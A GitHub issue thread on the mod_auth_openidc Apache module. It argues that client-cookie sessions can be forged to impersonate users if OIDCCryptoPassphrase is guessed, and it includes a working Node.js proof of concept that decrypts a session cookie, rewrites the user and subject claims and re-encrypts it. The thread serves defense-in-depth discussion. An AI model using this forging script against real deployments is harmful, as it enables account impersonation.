Session cookies of type OIDCSessionType client-cookie can be tampered with to impersonate users

[marcogrcr]

CLARIFICATION: This is not a disclosure of a vulnerability. Rather, it showcases an opportunity to implement defense in-depth to protect against impersonation when an attacker guesses the value of OIDCCryptoPassphrase.

---

Hello:

I've been examining how the OIDCCryptoPassphrase is used when the OIDCSessionType is configured with the client-cookie value to construct the session cookie.

After the module receives an id_token from the OIDC IdP, the original JWT signature provided by the IdP is replaced with an HS256 signature using a key derived from OIDCCryptoPassphrase:

https://github.com/zmartzone/mod_auth_openidc/blob/46d138478dbd8d298fdf76d93cfe783586fb604d/src/util.c#L135-L193

Here's a pseudo-code that summarizes what happens:

// out of scope of previous code snippet
const parsedIdToken = verify(id_token, publicKey); // obtained from IdP

// scope of previous code snippet
const key = sha256(OIDCCryptoPassphrase);
const jwt = jwtSign({ alg: "HS256" }, wrapPayload(parsedIdToken.payload), key);
const jwe = jweEncrypt({ alg: "dir", enc: "A256GCM" }, jwt, key);

const sessionCookieValue = jwe;

The wrapPayload() method of the pseudo-code returns a value of type:

https://github.com/zmartzone/mod_auth_openidc/blob/46d138478dbd8d298fdf76d93cfe783586fb604d/src/mod_auth_openidc.h#L607

Which is a JSON object that contains state, including the session user and state:

https://github.com/zmartzone/mod_auth_openidc/blob/46d138478dbd8d298fdf76d93cfe783586fb604d/src/session.c#L56-L67

https://github.com/zmartzone/mod_auth_openidc/blob/46d138478dbd8d298fdf76d93cfe783586fb604d/src/session.c#L439-L471

This mean that an attacker that guesses OIDCCryptoPassphrase not only can read the contents of the cookie, but also can craft a JWE that is capable of impersonating another user by tampering with:

• payload[OIDC_SESSION_REMOTE_USER_KEY]
• JSON.parse(payload[OIDC_SESSION_KEY_USERINFO_CLAIMS]).sub

I believe the security of this module can be improved by storing the original JWT provided by the IdP and validate it on every request to provide security in-depth. This way, if an attacker guesses OIDCCryptoPassphrase they can read the contents of the session cookie, but cannot craft a tampered cookie that is able to impersonate a different user unless they obtain a valid id_token for said user from the IdP.

It seems there's already code for storing it, but the code currently explicitly avoids doing that for OIDCSessionType client-cookie:

https://github.com/zmartzone/mod_auth_openidc/blob/46d138478dbd8d298fdf76d93cfe783586fb604d/src/mod_auth_openidc.c#L1709-L1712

Thoughts?

[marcogrcr]

Proof-of-concept to impersonate another user (requires Node.js 12+):

package.json

{
  "name": "mod-auth-openidc-proof-of-concept",
  "version": "1.0.0",
  "private": true,
  "dependencies": {
    "jose": "^3.0.0"
  }
}

index.js

const { createHash } = require("crypto");
const { compactDecrypt } = require("jose/jwe/compact/decrypt");
const { CompactEncrypt } = require("jose/jwe/compact/encrypt");
const { SignJWT } =  require("jose/jwt/sign");
const { jwtVerify } = require("jose/jwt/verify");

const ENCODER = new TextEncoder();
const DECODER = new TextDecoder();

const OIDC_SESSION_REMOTE_USER_KEY = "r";
const OIDC_SESSION_KEY_USERINFO_CLAIMS = "uic";
const OIDC_SESSION_EXPIRY_KEY = "e";
const OIDC_SESSION_KEY_SESSION_EXPIRES = "se";

function getKey(secret) {
  const hash = createHash("sha256");
  hash.update(secret);
  return hash.digest();
}

async function createJWE(payload, key) {
  const jwt = await new SignJWT(payload)
    .setProtectedHeader({ alg: "HS256" })
    .sign(key);
  
  return await new CompactEncrypt(ENCODER.encode(jwt))
    .setProtectedHeader({ alg: "dir", enc: "A256GCM" })
    .encrypt(key);
}

async function verifyJWE(jwe, key) {
  const jwt = await compactDecrypt(jwe, key);
  return await jwtVerify(DECODER.decode(jwt.plaintext), key);
}

async function impersonate(jwe, key, targetUsername) {
  const { payload } = await verifyJWE(jwe, key);
  console.log("Before impersonation:");
  console.log(payload);

  // update subject
  const [,iss] = payload[OIDC_SESSION_REMOTE_USER_KEY].split("@");
  payload[OIDC_SESSION_REMOTE_USER_KEY] = `${targetUsername}@${iss}`;
  payload[OIDC_SESSION_KEY_USERINFO_CLAIMS] = JSON.stringify({
    ...JSON.parse(payload[OIDC_SESSION_KEY_USERINFO_CLAIMS]),
    sub: targetUsername
  });

  // set expiration to 1 hour from now
  const expires = Math.floor((Date.now() + 3600000) / 1000);
  payload[OIDC_SESSION_EXPIRY_KEY] = expires;
  payload[OIDC_SESSION_KEY_SESSION_EXPIRES] = (expires * 1000000).toString();

  console.log("After impersonation:");
  console.log(payload);

  // create impersonated JWE
  const impersonatedJWE = await createJWE(payload, key);

  console.log("Impersonated JWE:");
  console.log(impersonatedJWE);
}

// See https://github.com/zmartzone/mod_auth_openidc/blob/master/auth_openidc.conf
const jwe = "(jwe-value)"; // put value of cookie with name configured in OIDCCookie
const key = getKey("(passphrase-value)"); // put value configured in OIDCCryptoPassphrase
impersonate(
  jwe,
  key,
  "(user-to-impersonate-value)" // put value of user to impersonate as
)
.catch(err => console.error(err));

[marcogrcr]

It's also worth nothing that an attacker doesn't need to successfully authenticate in order to impersonate a user if they know the expected shape of the JWE payload.

[zandbelt]

this is a good example of theory vs. practice:

I agree that there's a theoretical chance that an attacker can guess the OIDCCryptoPassphrase, just like there's a theoretical chance (actually the same!) that an attacker guesses the client_secret or any other symmetric key that may be in use in the protocol flow; or perhaps an attacker guesses the private key of a party... ; those are all risks that people dealing with cryptography take for a good reason: because the alternative does not exist or is worse...

If one could address all of these theoretical attacks in one PR, I'd be open to take a look at it, but realistically, that would most probably not be possible, or come at the expense of practical things like speed or size; actually the latter is the reason for not storing the id_token in a cookie: it would blow up it's size to proportions that make it hardly usable.

A better way of dealing with all of this: use a password that is too hard to guess.

[marcogrcr]

Thanks for the reply. I understand your theory vs. practice argument and I agree with it as a general principle. However, I would say that the fundamental difference between OIDCCryptoPassphrase and client_id/id_token's private keys is two-fold:

1. The OIDCCryptoPassphrase is configured by a service owner: Unlike the client_secret and the private keys of an IdP used to sign id_token JWTs, the OIDCCryptoPassphrase value is configured by an "end user" (a service owner). Hopefully you would want these service owners to be subject matter experts in security and cryptography. But in practice they rarely are. Security misconfigurations remains a top 10 OWASP security risk and this study reports that security misconfigurations remains the number 1 cause of data breaches in the cloud.
2. The OIDCCryptoPassphrase is a text field in a text file: Ideally, you would expect service owners to choose an appropriate passphrase with enough entropy that makes it nearly impossible to guess. However, a user unfamiliar with the criticality of OIDCCryptoPassphrase can choose an easy-to-guess passphrase that could be guessed using an offline dictionary or brute-force attack, making this attack more feasible than an online attack with autogenerated pass phrases.

I believe a appropriate compromise could be a OIDCCookie* configuration field that would allow the module to store the original id_token in the session cookie instead of the current approach.

After some time, it can be considered to be the default behavior. IMHO, the best way to secure systems is via secure defaults that make it hard for users to hurt themselves.

[OlivierBOEL]

What about
OIDCCryptoPassphrase "exec:/usr/bin/openssl rand -base64 20"

[zandbelt]

do note that the password would change on every restart (thuis invalidate all running sessions) and one cannot run this config with multiple Apache servers in a cluster setup

[temach]

Sorry for bringing up an old thread, but may I suggest issuing a warning/error in the logs if the password is less then say 20 characters? That would help with misconfiguration